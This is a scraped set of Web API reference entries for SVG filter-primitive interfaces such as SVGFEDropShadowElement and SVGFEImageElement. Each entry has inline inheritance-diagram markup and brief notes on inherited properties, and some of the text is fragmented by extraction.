ext { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFEDistantLightElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfedistantlightelement" target="_top"><rect x="241" y="65" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="361" y="94" font-size="12px"...
... font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgfedistantlightelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement.
SVGFEDropShadowElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfedropshadowelement" target="_top"><rect x="261" y="65" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="371" y="94" font-size="12px" f...
...ont-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgfedropshadowelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFEFloodElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfefloodelement" target="_top"><rect x="311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="396" y="94" font-size="12px" font-f...
...amily="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgfefloodelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement, and implements properties from svgfilterprimitivestandardattributes.
SVGFEFuncAElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgcomponenttransferfunctionelement" target="_top"><rect x="131" y="65" width="350" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="306" y="94" font-siz...
...e="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgcomponenttransferfunctionelement</t
ext></a><polyline points="131,89 121,84 121,94 131,89" stroke="#d4dde4" fill="none"/><line x1="121" y1="89" x2="91" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfefuncaelement" target="_top"><rect x="-79" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="6" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgfefuncaelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface not provide any specific properties, but inherits p...
SVGFEFuncBElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgcomponenttransferfunctionelement" target="_top"><rect x="131" y="65" width="350" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="306" y="94" font-siz...
...e="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgcomponenttransferfunctionelement</t
ext></a><polyline points="131,89 121,84 121,94 131,89" stroke="#d4dde4" fill="none"/><line x1="121" y1="89" x2="91" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfefuncbelement" target="_top"><rect x="-79" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="6" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgfefuncbelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface not provide any specific properties, but inherits p...
SVGFEFuncGElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgcomponenttransferfunctionelement" target="_top"><rect x="131" y="65" width="350" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="306" y="94" font-siz...
...e="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgcomponenttransferfunctionelement</t
ext></a><polyline points="131,89 121,84 121,94 131,89" stroke="#d4dde4" fill="none"/><line x1="121" y1="89" x2="91" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfefuncgelement" target="_top"><rect x="-79" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="6" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgfefuncgelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface not provide any specific properties, but inherits p...
SVGFEFuncRElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgcomponenttransferfunctionelement" target="_top"><rect x="131" y="65" width="350" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="306" y="94" font-siz...
...e="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgcomponenttransferfunctionelement</t
ext></a><polyline points="131,89 121,84 121,94 131,89" stroke="#d4dde4" fill="none"/><line x1="121" y1="89" x2="91" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfefuncrelement" target="_top"><rect x="-79" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="6" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgfefuncrelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface not provide any specific properties, but inherits p...
SVGFEImageElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfeimageelement" target="_top"><rect x="311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="396" y="94" font-size="12px" font-f...
...amily="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgfeimageelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and implements properties of svgfilterprimitivestandardattributes and svgurireference.
SVGFEMergeElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfemergeelement" target="_top"><rect x="311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="396" y="94" font-size="12px" font-f...
...amily="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgfemergeelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface not provide any specific properties, but inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFEMergeNodeElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfemergenodeelement" target="_top"><rect x="271" y="65" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="376" y="94" font-size="12px" fo...
...nt-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgfemergenodeelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement.
SVGFEOffsetElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
